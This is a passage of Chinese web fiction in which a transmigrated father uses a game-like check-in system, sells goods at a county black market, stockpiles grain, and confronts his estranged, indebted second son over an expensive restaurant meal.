“老板,这支山参的品相不错,就是价格,十贯钱,着实是高了点。”
摊主是个精瘦的中年人,闻言笑道:“客官是行家啊,我这老山参确实是极品中的极品,足有五十年的参龄,无论是品相还是药效,全都没得说!”
“至于这价格嘛,只能说是一分价钱一分货,它完全值得这个价!”
江河故作犹豫:“我前些日子也在山里挖到了一支,品相比这个还好,就是不知道能卖多少。”
摊主眼睛一亮:“客官若是有货,可以拿来给我看看,价格好商量。”
“这次出来的急,东西并没有带在身上……”
“咋的,客官这是信不过我们?”摊主轻瞥了江河一眼,道:“客官既然有门路寻到了我们这座坊市,就应该知道
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,我们这里是最重信誉的地方。”
“不管客官手里的东西是怎么来的,只要客官愿意卖,东西又是真东西,我们都会高价回收!”
“就像是这样一支五十年份的野山参,外面药店给出的价格是八贯钱,但是却需要你提供确切的身份信息,需要登记在册。”
“而我们这里,虽然只给你六贯钱,但是却什么都不多问,更不需要登记入册,以后就算是有什么苦主、债主之类的麻烦找上门来,也再寻不到你的头上,完全解了你的后顾之忧。”
“这多出来的两贯钱,算是我们收你这些东西所需要承担的风险费,合情合理吧?”
江源微微点头,不到三成的抽成比例,确实还算良心,也在他的心理预期之内。
“确实很合理,只是我这次真没把东西带来。不过掌柜的你放心,下次我再来的时候,指定把那支山参带来给你掌掌眼……”
又闲聊了几句,江河便离开这个摊位。
之后他又找寻不同的摊位老板,旁敲侧击的询问了一下各种物品的大概出售及回收价格,对黑市的行情有了一个大致了解。
这里的固定摊位基本上都是坊市的幕后老板在实际掌控经营。
常年出售各种在外面难得一见的珍贵药材、山珍等高档山货,也有丝绸、布匹、白糖、精盐等市面上少有的紧俏物资,只是价格普遍要比外面高出两到三成。
除此之外,还有一些对外出租的流动摊位,主要客户就是如江河这样的外来散户。
流动摊位每日一租,租金根摊位的位置不同,价格不一。
最贵的一日一贯,最便宜的也在百文以上,寻常人根本就租不起。
当然,如果你不想自己租摊位摆摊售卖,而是想要快速将手中的货物变现脱手的话,就只有到坊市中的固定摊位去出售。
只是这里的收购价格却要比外间低上两到三成。
这一进一出之间,就有将近四到六成的利润,就全都进了坊市老板的口袋里。
所以正常情况下,如果不是货物的来源有问题,不敢拿到外面去正常售卖,谁也不会傻到把手里的好东西拿到这里来低价卖出。
同理,如果不是在外面的坊市之中,通过正常的渠道与手段,买不到自己想要或是急缺的货物,谁也不会明知这里的东西奇贵,甚至来路不正,还要冒险光顾这里。
只能说开办了这座地下黑市的幕后老板,不但在这三河县内不但手眼通天,背景奇硬,这做生意的头脑与手段,也非同一般。
江河敏锐的察觉到,他在这坊市之中东游西逛,只问不买的举动,似乎已经引起了一些帮闲及固定摊位老板的注意,不由心神暗凛。
为防意外,他不敢再继续闲逛探问,便寻了一处专门回收生活用品的坊市固定收购点,将自己带来的五斤白糖及两匹棉布取出。
也是直到这时,他才感觉到,一直盯在自己身上的那几道若有若无的探究目光,才逐渐消失不见。
第46章 新的签到地点
饶是江河知道白糖在这个时代是个稀罕东西,价格极高。
可他还是被黑市给出的收购价格给惊到了。
两百文一斤,就这还是被黑市给刻意压低了两到三成价格之后的价钱!
不敢想像,这样的白沙糖若是放到外面,按照正常的价格出售的话,岂不是至少需要二百五十文左右才能买得到?
相比之下,两匹棉布的价格就显得没有那么出彩了。
哪怕这两匹布的质量极好,颜色也上染得极为出众,就连收购点的掌柜都对之赞不绝口。
可是对方最终也只愿意给到两百五十文一匹的价格,两匹布总共给了江河五百文钱。
如此,在将五斤白糖与两匹棉布全都出手之后,江河的手中就多出了一千五百文钱。
比之前天他费尽心机,从老宅那里讹来的一贯钱,还要多出了五百文。
看着手中这沉甸甸的一千五百文钱,江河心中感慨万千。
前天他又是断亲又是讹诈,费尽心思才从老宅弄来一贯钱。
而现在,只是随手卖出了两件签到得来的物品,就轻松获得了一千五百文。
而这,这还只是一个开始。
以后随着他签到得来的物品越来越多,他手中的财富亦会随之水涨船高,不断增长。
不过江河并没有被眼前的利益冲昏头脑,身在黑市之中,他可不敢表现得太过张扬,以免会被有心人给惦记上。
况且,他这次过来县城的目的,可并不止是为了售卖白糖与棉布。
他更加在意的还是粮食,那才是在荒年到来之后能够决定他们一家人生死的硬通货。
离开黑市后,他便直接去了粮市。
正如他之前所料,今日的粮价比之昨日又上涨了不少。
寻常的粟米已经涨到了二十五文一斗,小麦更是涨到了三十文一斗,大米最是离谱,竟已突破了五十文的大关。
若是再这么一直没有节制的涨下去,要不了多久,普通老百姓可就真的要吃不起了。
而到了那时,真正的大乱怕是就要来了。
打探好了粮价之后,江河并没有直接去店里买粮,而是先在粮市的旁边,花了二十文钱租了一间空房做为仓库,然后才再折返回粮市,开始正式购粮。
“掌柜的,我要买粮。”
江河寻到一家口碑不错,且看起来规模也不小的粮店,直接找到掌柜开口买粮。
“客官要多少?”掌柜的热情招呼。
江河道:“粟米五石,小麦三石。”
他现在最多只能拿出来两贯零五百文钱,五石粟米加上三石小麦,已是他现在能够购买的极限。
再多的话,手里就没有应急的余钱了。
正常情况下,这些粮食足够他们一家人吃上大半年了,若是省着些,坚持一年半都没问题。
况且,这只是他购买的第一批粮食,以后待钱凑手了,他肯定还会再买第二批、第三批。
掌柜的闻言,眼睛一亮:“客官真是来得巧了,我们今日刚上了一批新粮,且价格也合适。若您过几日再来,想要买这些粮食,怕是要再多花几百文呢。”
能够一次性买这么多粮食的主顾,对于他们粮店来说,已然算是大客户了。
看江河身上的穿着虽然并不怎么光彩华丽,但是对方身上所展现出来的从容气度却是非同一般。
掌柜猜测对方可能是某个大户人家的管家,又或是某个官家单位的采买主事,自然是不敢怠慢。
拿着算盘噼里啪啦的一阵拨弄之后,掌柜的笑着向江河说道:
“客官,一共是两贯零一百五十文钱,看您面善,我做主,那五十文钱就免了,您看如何?”
“如此就多谢掌柜了!”
江河微微点头,没有磨叽,直接从背上的包裹里取出了两贯又一百文钱,放到了柜台之上。
掌柜的呵笑着将钱收入柜台,然后敬声向江河问道:
“不知客官府上在在何处,若是不出县城,我们店内的伙计可以免费将客官购买的粮食送到府上!”
这倒正合了江河的心意。
他将自己刚刚租用的房屋地址说与掌柜听。
掌柜一听送货的地点就在粮市的边上,那就更没什么问题了,马上就开始招呼店内的伙计搬粮送货。
趁着伙计们称粮搬粮的空当,江河便站在柜台旁跟掌柜的扯起了闲篇。
直到他在粮店之中待满了十分钟左右,他期待已久的提示声音终于再次响起:
“叮,发现新的签到地点,三河县,广源粮油店,请问是否签到?”
“签到!”
“叮,签到地点刷新成功,签到地——三河县,广源粮油店!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得十倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱50文*10,五常大米20斤*10,小磨香油10斤*10,精品面粉20斤*10!”
Yes!Yes!Yes!
听到这一连串的签到提示音,江河忍不住想要握拳欢呼。
果然,跟他以前玩游戏时一样,【美好生活】这款游戏的签到系统,一直都有在发现全新签到地点时,可以在每日一签的基础上重复签到的功能。
之前在进入地下坊市之后,他就在不断尝试,想要触发二签的功能。
结果,他在地下坊市磨叽了大半天,签到系统却始终都没有半点儿反应。
原以为这个功能在他穿越过来
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之后,就被**掉了。
却没想到,当他在这家粮店之中再次尝试的时候,竟然出人意料的触发成功了!
更牛逼的是,这次签到竟然触发了十倍的暴击奖励,直接就将正常签到的保底物资数量,提升了十倍!
“五百文钱,两百斤五常大米,两百斤精品白面,还有足足一百斤小磨香油!”
看着物品栏中突然多出来的这么多的签到奖励,江河忍不住想要畅声大笑。
四百斤的粮食也就罢了,正好是他现在所需,来得很是及时。
而这一百斤的小磨香油,却是远远的出乎了他的预料。
这玩意儿在当下,虽然没有他之前签到得来的白糖更加金贵,可是却也不遑多让。
至少在这粮油店内购买的话,怎么都得两百文钱一斤,而他现在有多少?
足有一百斤之多啊!
这要是全都换成铜钱的话,岂不是得两万钱?
两万钱啊,若是全都换成粮食的话,他们家以后十年之内,怕是都不会再缺粮食吃了吧?
“客官!客官!”
粮店掌柜见江河突然不再说话,站在那里一会儿兴奋一会激动的,好像魔障了一样,脸都红了,不由有些担心的轻声唤道:
“客官,您没事儿吧?”
江河回过神来,有些不好意思的摇头向掌柜说道:
“我没事儿,就是刚刚想到了一些高兴的事情,有些失态了。”
“客官您没事儿就好!”
掌柜的松了口气,抬手一指店门外,道:
“您要的粮食已经备好了,随时都能给您送货上门。”
顺着掌柜手指的方向,江河看到粮店的门外,有两名伙计已经将他购买的粮食装上了推车,正等着他去前面引路呢。
江河微微点头,拱手向掌柜告辞,然后快步走出粮店,带着两个伙计向他租的房子方向走去。
按照大宣朝现在的计量单位来计算,一石等于十斗,相当于一百二十斤重。
江河买的五石粟米,三石小麦,加起来约有九百六十斤。
粮店掌柜见他是个大客户,又额外送了他四十斤粟米,凑了一个整数。
一千斤这个数字,听起来似乎很多,其实也就是十袋百斤左右的粮食而已,放在推车上轻松就能推动。
到了地方后,粮店内的两个伙计,手抬肩扛,只用了不到五分钟的时间,就把这十袋粮食全部给搬送到了江河新租的空房之中。
江河心情大好,每人给了两文钱小费之后,便将两个伙计给打发走。
之后他进屋关上房门,小心的侧耳倾听。
确定伙计们已经走远,左右再无人声,便心念一动,瞬时就将堆放在房内的千斤粮食全部收入到了物品栏内。
第47章 我是他爹,亲的!
看到物品栏中安放着的一千四百余斤粮食,江河的心情大好。
一千四百斤,虽然算不上是很多,但是这毕竟是一个好的开始,至少他不必再为自家接下来一年多的口粮发愁了。
更重要的是,他解锁了签到系统的新用法,接下来完全可以照着这个模式,继续触发新的签到地点,重复获取签到奖励。
所以,离开租的房子之后,江河并没有立即回家,而是又拐进了粮市,寻了另外一家规模丝毫不逊色于广源粮油店的粮店。
他想要试试相同类型的店铺,能不能重复触发签到奖励,继续薅系统的羊毛。
他以挑选粮食为由,在这家粮店内磨蹭了足足两刻钟,却再也没有触发签到提示。
“果然啊,这系统的便宜不是那么好占的,看样子应该是与游戏内的设定一样,同类型的商铺只能触发一次。”
江河微微摇头,在心中轻声感叹。
虽然这早在预料之中,可他的心里却仍不可避免的有些许失望。
之前在地下坊市之中,他迟迟没有触发签到提示,他便知道,跟他一起穿越过来的这个签到系统,已然跟他以前玩的那个游戏有了些许不同,似乎发生了某种变异。
因为在游戏中,几乎每到一个新的地点,游戏人物基本上都能成功触发签到奖励,从而获得丰厚的生活物资。
这也刺激着每个玩家不断的去开荒,去拓展发现新的游戏地图。
若是按照这样的设定,他在第一次进入三河县城,第一次进入地下坊市的时候,就应该能够成功触发签到提示,获取相应的签到奖励。
而事实上呢,不管是在他进入到三河县城,还是进入到地下坊市,都没有成功触发新的签到地点的签到提示。
所以之前在广源粮油店的意外触发,才会让他感到有些惊喜莫名。
而现在,他之所以会在同样类型的粮店之中继续尝试,就是想要借此探索出签到系统新的触发机制。
“三河县城不行,地下坊市不行,而粮油店却可以,这是不是说明,区域性的地点无法触发,非法性质的地点也无法触发?”
“只有在正规的、合法的生活类商铺之中,才有可能成功触发新的签到地点,得到签到奖励?”
“而同类型的店铺只能触发一次,是总共只能触发一次,还是不同地点与名称的商铺,每天只能触发一次?”
“若是每天只能触发一次,是不是意味着,我明天再过来粮市,便能在除了广源粮油店之外的任意一家粮店之内,继续触发全新地点的签到奖励?”
江河在心中默默的思量推导着。
他知道,想要搞清楚这些问题的答案,找到签到系统最准确的触发机制,需要他在接下来的时间内,一点点的去尝试,去探索。
而他现在,整天在家里无所事事,最不缺的就是时间。
“这家粮油店,明天可以再来一次。”
离开了粮店之后,江河回头望了一眼,轻声自语道:
“这条粮市街坊之中,足有十几家大小不一的粮店,万一要是真的能够每天触发一次签到奖励,那在接下来的十几天里,我岂不是能够重复在不同的粮店之中签到十几次?”
虽然这种可能性不是很大,但是尝试一下又有何妨?
反正也不费什么工夫,更没有什么危险,只是闲着没事儿到粮市里来溜达一圈,万一能成呢?
“接下来还有一些时间,倒是可以去附近的酒楼、钱庄、布庄、当铺、书坊甚至肉铺去看看,这些可都算得上是生活类店铺,看看能否顺利触发签到奖励……”
想到县城之中拥有这么多不同种类的商铺,哪怕每种类型都只能签到一次,一圈流程走下来,也能让他赚得盆满钵满了。
“嗯?前面那座酒楼好像是‘望福楼’?”
向前走了几步,江河一抬头,就看到了“望福楼”的招牌幌子。
一张黄底黑字,鎏了金边的醒目旗子,悬挂在酒楼的门檐之上,正在不断的随风摇摆。
“若是我没记错话,江家老二江天,似乎就是在这家望福楼内当伙计。”
江河眼中的眸光微闪,稍一思量,便径直抬步走向这家望福楼。
反正他接下来也要找一家酒楼探索签到机制,这家望福楼却是再合适不过。
正好他也可以顺便看看他们家老二在这里工作、生活得怎么样。
望福楼是一座三层高的木制建筑,朱檐翘角,飞阁流丹,气派非凡。
门前挂着两盏大红灯笼,即便在白天也点着烛火。朱漆大门敞开着,隐约能听到里面传来的谈笑
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声和杯盘碰撞的声音。
门楣上悬挂着一块金底黑字的匾额,上书“望福楼”三个大字,笔力遒劲,一看就是名家所书。
正门的两侧立着两根粗大的红柱,柱子上刻着吉祥如意的纹样。
光看这门脸处的装饰,便知道这酒楼内的消费绝对不是寻常人能够负担得起。
在江河的记忆中,原身之前就是在这望福楼中学厨打杂。
只是他不学好,偷奸耍猾不说,甚至还偷店内的吃食,被掌柜的发现后,就直接赶出了酒楼。
不过那都是十几二十年前的事情了,现在江河已人近中年,相貌与十几岁时大不相同,酒楼内纵使还有一些老人在,也未必能认得出他。
江河坦然跨步进入酒楼的正门,立马就有迎客的伙计上前来招呼。
“客官里边请!”一个年轻的小伙计热情地迎上来,满面含笑的向江河问道:“不知客官是宴请、应邀还是家宴,可有预定的包房?”
江河微微摇头,淡声道:“我只是简单过来吃个饭,在前厅给我寻个位置就好。”
听江河这么说,小伙计含笑点头道:“得嘞,客官您跟我来,我给您找一个靠窗清静的位置!”
说着,小伙计在前面引路,江河缓步跟在后面,进入到了望福楼的一层前厅。
厅堂之内摆放了约二十张桌子,其中有一大半都坐满了前来用餐的食客。
小伙计将江河引到一处靠窗的四方桌前坐下,熟练的拎起桌上的水壶为江河斟倒了一杯茶水,同时开口问道:“不知客官您想吃点儿什么?”
江河抬头环顾了下整个厅堂,并没有看到江天的身影,听到小伙计的问话,便随口说道:
“两碗米饭,一盘清炒时蔬,一份红烧狮子头,再来一只八宝鸭,一尾清蒸鲈鱼,一份三鲜汤。”
小伙计一愣,随即笑道:“客官您是行家啊,点的这些菜几乎全是我们望福楼的招牌菜。”
“不过,您一个人点了这么多菜,怕是吃不了吧?”
“无妨!”江河客气地说道:“劳烦小哥去把你们店里的江天给我寻来,我请他一起吃。”
“呃?”小伙计彻底愣住了,探声向江河问道:“客官,不知您跟江天是……?”
江河微笑道:“我是他爹,亲的!”
第48章 老二江天
片刻。
望福楼的后厅里面便有一道人影火烧火燎的跑了出来,正是江河记忆中二儿子江天那张熟悉的面孔。
只见他穿着望福楼统一样式的伙计制服,身材中等,面容削瘦,相貌要比所有的江家人都清秀几分。
他能够成为望福楼的伙计,除了是因为他娶了望福楼中一个下厨的女儿为妻之外,他的这副好相貌也是极大的加分项。
江天从后厅出来,看到正安坐在前厅左侧窗台前的餐桌上,悠然喝着茶水的江河,一股莫名的怒意,还有一丝难言的恐惧直冲心头。
这个老混蛋怎么到县城来了?
而且还这样堂而皇之的找到了他工作的望福楼,还指名道姓的让人把他从后厅叫了出来。
江河他到底想要做什么?!
难道非要把他的差事搅黄,非要搞得他妻离子散,生不如死,他这个当爹的就开心了吗?
江天快步走到江河所在的餐桌前,强压胸中的怒火,压低声音向江河问道:“你来做什么?”
不等江河开口,又听他冷声说道上:“没事儿的话赶紧走,这里可是望福楼,不是你这样的无赖能来撒野的地方!”
态度很恶劣。
完全不是正常儿子见了亲爹该有的态度。
不过这些却全在江河的预料之中。
他们父子之间的关系,早在三年前原身的妻子王娟被王三妮给逼死之后,就完全陷入到了冰点。
自那之后,江天再也没有主动回过下河村,再也没有叫过江河一句爹。
这些全都是原身这个当爹的自己作出来的结果,怨不得旁人。
而他,现在不过是在替原身这个渣爹背锅而已。
唉,原身误我啊!
习惯性的在心里非议了原身两句之后,江河将手中的茶杯缓缓放回桌面,淡然的抬头看向江天。
“怎么跟老子说话的,老子再怎么也是你爹,你现在见了我,竟然连句爹都不叫了么?”
江天直接就被气笑了,抬手指着江河的鼻子,低声叫骂道:
“江河啊江河,,你莫不是磕到脑袋之后就磕糊涂了,你忘了三年前是谁指着我的鼻子说,以后咱们父子恩断义绝,让我再也别管你叫爹,让我在外面自生自灭吗?”
“还有两年前,你为了给江贤、江达筹备入县学的束脩,以我的名义向钱庄借贷了足足一贯钱的外债,并扬言要我以此来偿还你过去十几年的养育之恩,从此你我之间再无半点儿恩情!”
“直到现在,每个月都还会有钱庄的人上门来寻我催债。
为了还那些钱,我们夫妻每天拼了命的干活赚钱,家里的孩子几个月都敢吃一次荤腥,小飞都快六岁了还不曾启蒙进私塾……”
“现在,你竟然还有脸寻上门来,让我管你叫爹?你自己说说看,你还配让我叫你一声爹吗?”
轰!
听到江天的这些控诉,江河的脑子里面再次翻涌出了一些被原身给完全忽略掉的某些记忆片段。
两年前,原身在老爹老娘还有二弟江洋的忽悠与鼓动下,确实在县城内的汇丰钱庄,以二儿子江天的名义,借了一笔外债,足足有一贯钱之多。
而借钱的原因说起来极为搞笑,竟然是为了给江贤、江达那两个侄子筹备进入县学的学费!
人家的亲生父母健在,且也颇有家资,需要他这个当大伯的出去帮忙筹集学费吗?
更离谱的是,还是借用江天的名义来贷的款,理由竟是江天在县城有正经营生,更方便借贷,而且一次也能借出来更多钱。
原本,江贤、江达二人入县学,一年最多只需要交上三百文的束脩就够了。
可是老宅的人贪婪无度,非要让原身贷来一贯钱,一次性为江贤、江达交足了整整三年的束脩。
而原身那个糊涂蛋,还真就是言听计从的这么做了。
以让二儿子偿还十八年的养育之恩为由,逼得江天接下了这笔巨额债务。
之后,老宅一家自然是欢天喜地接受了江河这个傻子的馈赠,原身这个蠢货也为自己又尽孝了一次心情大好,得意不已。
谁也没有为当时才十八岁,只是一个酒楼小伙计的江天,突然之间背上了一贯钱的巨额债务而多考虑哪怕半分。
而且,通过刚刚的浮现出来的记忆片段,江河还发现,原身这个狗东西,竟然在坑完二儿子之后,直接就把这件事情给抛到了脑后,压根儿就没有太当回事儿。
以
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至于这段记忆,竟然都不在原身的记忆主体之中,并没有被深刻铭记。
甚至于,都还不如他跟赵寡妇、孙寡妇偷情欢好的记忆更为重要。
如果不是刚刚听到江天的怒声控诉,提到了这个话茬儿,这段记忆还不知道要等到什么时候才会出现在江河的主意识中呢。
这特娘的也是亲爹能做出来的事情?
为了讨好父母,为了供养两个侄子读书,竟然直接把自己的亲儿子给推进了火坑。
原身这个狗东西,真是……不当人啊!
也难怪江天这小子,看到他这个当爹的之后,就跟看到了仇人一样。
也难怪前天这个二儿子回家“奔丧”,发现江河死而复生之后,连顿饭都没在家吃,转身就带着儿女离开了。
原来,不是人家当儿子的不孝顺,而是他这个渣爹太不当人,都快要把这个二儿子给坑得家破人亡了。
江天现在看到他,没有直接上来暴揍他这个渣爹一顿,都算是比较克制了。
江河深吸了口气,有些怜悯的看了江天这个倒霉儿子一眼,轻咳了一声,道:
“以前的事情,确实是爹有些糊涂,爹在这里给你道个歉。”
“你放心,你欠的那些外债,以后有爹来替你还,我那小孙子入私塾的束脩,我这个当爷爷的也全包了!”
嗯?
江天有些意外的看了江河一眼,没想到这**爹竟然开口跟他道歉了。
不过,对于江河后面说的这些话,他是一句也没有相信。
深知渣爹无良秉性的他,只以为这是江河为了继续坑他,而故意说出的漂亮话。
其目的,无非是为了让他放松警惕,缓和关系,然后好再接着坑他、吸他的血罢了。
他若是再信这个混帐渣爹的话,那他江天就是个大傻叉。
“呵,”江天冷笑一声,满眼不屑与鄙夷的打量着江河:“你来替我还债?你来为江飞交束脩?”
“江河啊江河,这么多年过去了,你这吹牛的毛病还是一点儿没变啊!”
“来来来,你来告诉我,你拿什么来替我还债,又拿什么来替江飞交束脩?是靠你在村里偷鸡摸狗,还是靠你继续压榨老三他们一家?”
第49章 江天崩溃了
江河尴尬的轻笑了笑。
看样子,这个老二对他的成见远要比**、江源、赵穗和罗灵他们更甚。
不过这也是原身活该,这世上哪有为了侄子把自己亲儿子推进火坑的渣爹?
如果换成他是江天,江河保证他的反应绝对要比江天还要激烈十倍百倍。
断亲都是轻的,不把这狗东西的两条腿打断他都不好意思活在这个世上。
唉,穿越在这样的**身上,他也是醉了,这黑锅真是一口接着一口,都特么背起来没完了。
原身误我啊!
江河习惯性的又在心里非议了原身几句,然后板起了老脸,装作一副无赖样斜瞟了还想要继续嘲讽他的江天一眼,淡声道:
“行了,别在老子跟前逼逼叨叨个没完了,老子话都已经说出口了,至于能不能做到,你且等着看就是了,爱信不信吧!”
“现在,如果你不想丢了望福楼伙计的这份工作,就你给老子乖乖在椅子上坐下,陪老子好好吃顿饭。”
“否则,老子可不敢保证接下来会发生什么不好的事情!”
真是的,好好说话不行,非要逼他装无赖,玩野蛮。
原身留下来这些个子女,果然都有受虐倾向。
“你……!”
见渣爹竟然又在威胁他,江天眼中的怒意如刀,神色也变得极为难看。
不过,在感到生气愤怒的同时,他的心中又泛起了一股深深的无力感。
因为他真的不敢在这望福楼的前厅内跟江河大吵大闹。
不管怎么说,江河都是他亲爹,真要闹了起来,他必然会落得一个不孝的名声,同时也会严重影响到大厅内正在用餐的食客,耽误望福楼的正常生意。
他了解自己这个渣爹的无良秉性,真要是犯起混来,绝对是六亲不认,怎么闹腾怎么来。
真要是闹大了,闹得不可收场,酒楼的掌柜还如何能容得下他这个小伙计?被辞退甚至直接被驱逐出望福楼都不是没有可能。
他身上还背着贷款没有还完,他需要望福楼伙计这份工作。
所以,哪怕心中再窝火,眼中的恨意再甚,江天也只能将它们强压下来。
“好!我陪你吃了这顿饭,吃完饭后,你赶紧走!”
江天深吸了口气,缓缓在江河对面的椅子上坐下,咬着牙切着齿,恨声向江河说道。
“诶~,这就对了嘛!”
见江天终于还是乖乖坐下了,江河瞬时又换成了一张慈和的笑脸,提着桌上的茶壶,给江天倒了一杯茶水,道:
“爹今天过来,就是单纯的想要请你吃顿饭,没有别的什么企图,更不会找你要钱,你且把心放进肚子里。”
江天轻哼一声,把脸别过一边。
什么请他吃饭,说得倒是好听,待会儿还不是会把账记到他江天的头上?
江河见江天这副模样,哪里会猜不到他在想什么,不由摇头失笑,不过他却也没有多解释什么。
这个老二对他的成见太深,远不是一两句轻飘飘的道歉或是软和话就能让他回心转意,再度接纳他这个爹的。
所以,他现在在这里空口白牙的说再多,也远不如他以后切切实实的把之前的承诺全都给兑现了,来得更有效果。
江河已然打定了主意,待会儿吃完饭,他就去汇丰钱庄,把老二剩下的欠贷全都给还上。
然后再去老二家里,看看他另外两个孙子、孙女去。
“客官,您要的米饭,清炒时蔬,还有红烧狮子头好了,您请慢用!”
这时,之前招待江河的那个小伙计,端着后厨刚做好的饭菜送了过来。
将饭菜放到桌面上时,还刻意冲着江天眨了眨眼,道:
“天哥,我已经跟掌柜的替你告过假了,掌柜的说既然是令尊来了,就让你好生招待,给你放了一个时辰的假。”
江天敛去脸上的不快,冲小伙计拱了拱手:“谢了,小荣。”
“天哥客气了,你与伯父且在这吃着,我去招待其他客人去了!”被叫做小荣的伙计又回身冲着江河点头笑了下,这才转身离去。
见小荣走远,江天低头看了一眼桌上的饭菜,神色略显复杂。
红烧狮子头是望福楼的招牌菜之一,一颗就要二十文,这一盘共有两颗,四十文是没跑了。
清炒时蔬和白米饭便宜些,可加起来也要十五文左右。
这就是说,这一顿饭江河至少要吃掉他五十五文,都比得上大半个月的工钱了。
这个渣爹可真是能下得去嘴啊!
“来来来,快点动筷子吧,这菜凉了可就不好吃了。”
江河只当是没有看到江天难看的脸色,热情的给江天夹了一个狮子头,道:
“这狮子头可望福楼的招牌菜,你虽然每天都在这儿干活,怕是也没有机会吃过几回吧?”
江天轻瞥了江河一眼,没有回答。
不过
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江河说的确实是实情,他虽然在这里工作,但平时吃的都是伙计餐、大锅菜,哪能吃得起这么贵的狮子头?
看着**河夹进自己面前餐盘内的狮子头,江天只有心疼,却没有半点儿胃口。
他心里不断的在盘算着,待会付了这顿饭钱之后,他这个月还能不能还得起钱庄的贷款?
若是还不上,钱庄里收债的那帮人,会不会再往他们家门上泼猪血吓唬人?
上个月他就是因为还款稍晚了些,就被那帮收债的帮闲堵门泼了腥红的猪血,吓得两个孩子直到现在都还有些精神恍惚,晚上老做噩梦。
想起这个,江天对眼前的渣爹就变得更加愤恨与憎恶了起来。
若不是这个渣爹不当人,专坑自己的儿女,他们一家现在也不会过得这般清苦落魄,每天都在提心吊胆的数着日子过。
对面的江河,可不知道江天现在心中所想。
在集市内转悠了一上午,肚子已然有些饿了的他,看到桌面上这还算可口的饭菜,便毫不客气的大快朵颐起来,吃得那叫一个香甜。
只是片刻,半盘青菜还有一颗红烧狮子头,就全都进了他的肚子。
这个时候,又有伙计端着剩下的两菜一汤走了过来。
“客官,您点的八宝鸭、清蒸鲈鱼还有三鲜汤好了,您请慢用!”
小伙计一边说,一边将托盘上还冒着热气的两菜一汤轻轻端起,放在了桌面上,之后又转身离开。
“这……这……,江河,你竟然点了这么多菜?!而且还全都是望福楼的招牌菜?!”
“你……你……你知道这些菜有多贵吗?我看你就是存心想要坑死我!”
看着又端上来的这两菜一汤,江天忍不住失声惊呼,紧接着整个人的情绪都崩溃了,感觉自己头顶的天都塌了!
做为一个已经在望福楼内打杂了近乎五年的伙计,江天对于望福楼中各种菜肴的价格简直是熟得不能再熟了。
八宝鸭,一百文一只。
清蒸鲈鱼,一百二十文一条。
还有这三鲜汤,五十文一份。
这两菜一汤加起来,就已经有两百七十文钱了。
若是再加上前面的五十五文,那岂不就是三百二十五文?!
仅这是这一顿饭的饭钱,都比得上他小半年的工钱了,他怎么可能付得起?
江河这不止是在坑他,而是存心想要踹了他的饭碗,断了他的活路啊!
第50章 签到望福楼
看到江天眼中几近绝望的崩溃之色,感受到他胸中已然有些压抑不住的极致怒火。
江河眉头微挑,直接伸手入怀,啪的一下,掏出一串铜钱拍放在了桌面上。
“这里有五百文,应该能够这顿饭钱了吧?”江河淡声说道:“老子刚才说了,今天是我这个当老子的请儿子吃饭,自然不会让你来掏钱!”
“现在,给我老老实实的拿起筷子,安安心心的陪你爹我吃顿饭,饭吃完了,我立马就走,绝对不会给你添麻烦,更不会毁了你的饭碗!”
刷!
看到**河拍放在桌面上的银钱,江天原本绝望到崩溃、眼中已然黯淡无光的双眸,骤然又闪亮了起来。
渣爹竟然真的拿钱出来了?!
而且还直接拿出了五百文钱?!
这……是他眼花了,还是出现了幻觉了,江河竟然不是为了坑他才故意点了这么贵的饭菜,而是真的要请他吃饭?!
这是太阳从西边出来了吗?
以前江河哪次过来寻他,不是为了从他手里再多挤走一些钱财,怎么这次会这般反常?
还有,这五百文钱江河又是从哪里得来的?
是把家里的田给卖了?
还是把江沫儿、江娴那两个丫头“送”给别人当童养媳了?
记得前天回去“奔丧”的时候,他就隐约听大嫂提起过,老宅的爷奶之前一直都在怂恿着他们的渣爹,要把小妹还有江娴卖给别人家当童养媳。
现在,这么多天过去了,江河却突然带了这么多钱来望福楼吃饭,真的是很难不让江天多想啊。
毕竟,在他的固有认知中,像是卖儿卖女这样的混账事儿,他们的这个渣爹是真的能够做得出来的啊。
“江河,你老实告诉我,你是不是把江沫儿、江娴她们卖给别人家当童养媳了?!”
江天简直疯了,根本不给江河开口说话的机会,几乎是指着江河的鼻子低声咒骂道:
“你特么还是不是个人了,啊?!”
“江沫儿可是你的亲女儿,江娴更是你的亲孙女,是大哥生前最疼爱的心头肉,你怎么能为了一点儿钱财,就忍心把她们全都给卖了呢?!”
果然,人心中的成见是一座大山,他们只愿相信自己所认为的事情。
现在,连他自己的亲儿子都这么毫不犹豫的怀疑他的人品,甚至都不给他开口解释的机会,就把脏水泼到了他的身上。
只能说是,原身这狗东西的前半辈子,绝对是全都活到狗身上去了。
连原本应该是他最最亲近的家人,都没有笼络住半分,全都把他当仇人一样。
真是……太特么失败了!
“想知道这些钱是哪来的,明天你可以自己回家里去看、去打听。”
“我要告诉你的是,江沫儿还有江娴那俩丫头,现在全都安然无恙的待在家里,没有人要卖她们,也没有人敢卖她们!”
江河懒得跟江天多解释,因为他知道,面对一个已经被成见和偏见给遮掩住了双眼的人,无论他说什么,对方都是不会相信的。
而且江天这小子对他的厌恶及憎恨,远要比家里的那几口人要严重得多,他也不指望马上就能扭转江天对他的看法及态度。
“再有,以后给老子放尊重一点!”
“下次,你若是再敢这样指着老子的鼻子,指名道姓的叫骂,看老子不打断你的狗腿!”
江河抬头递给了江天一个凶戾且严酷的眼神。
对不起江天的是原身那个蠢货,跟他江河有什么关系?
这小子以后若是再敢这样跟他没大没小的说话,江河可不会再惯着他。
看到江河向他扫来的凶戾眼神,先天上的血脉压制,还有过去近二十年的殴打**,让江天忍不住心头一颤,条件反射般的向后缩了缩脖子。
“我再说一遍。”
江河轻瞥了江天一眼,淡声说道:
“要么,你现在乖乖的坐下来好好陪老子吃个饭,吃完饭,结了账,我立马就走。”
“要么,我在这里大闹一场,吃一回霸王餐,最后再拿你这个孝顺的二儿子留在这里抵帐。”
“想要如何,你自己先吧!”
江天闻言,脸色瞬间变得惨白。
他知道,以江河的性子,绝对说得出做得到。
若是真让这个渣爹在望福楼内闹腾起来,那他这份好不容易得来的工作,可就真的要保不住了。
没了工作,他以后拿什么来养家,拿什么来还钱庄的借贷?
“我……我吃。”
江天咬着牙,缓缓坐回椅子上,拿起筷子,夹起了碗中的饭菜,一口一口的吃了起来。
只是他拿筷子的那双手,还在不自觉的微微发抖,也不知是气的还是怕的。
见这小子终于安静老实了下来,江河不由满
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意点头。
小样儿的,我还治不了你?
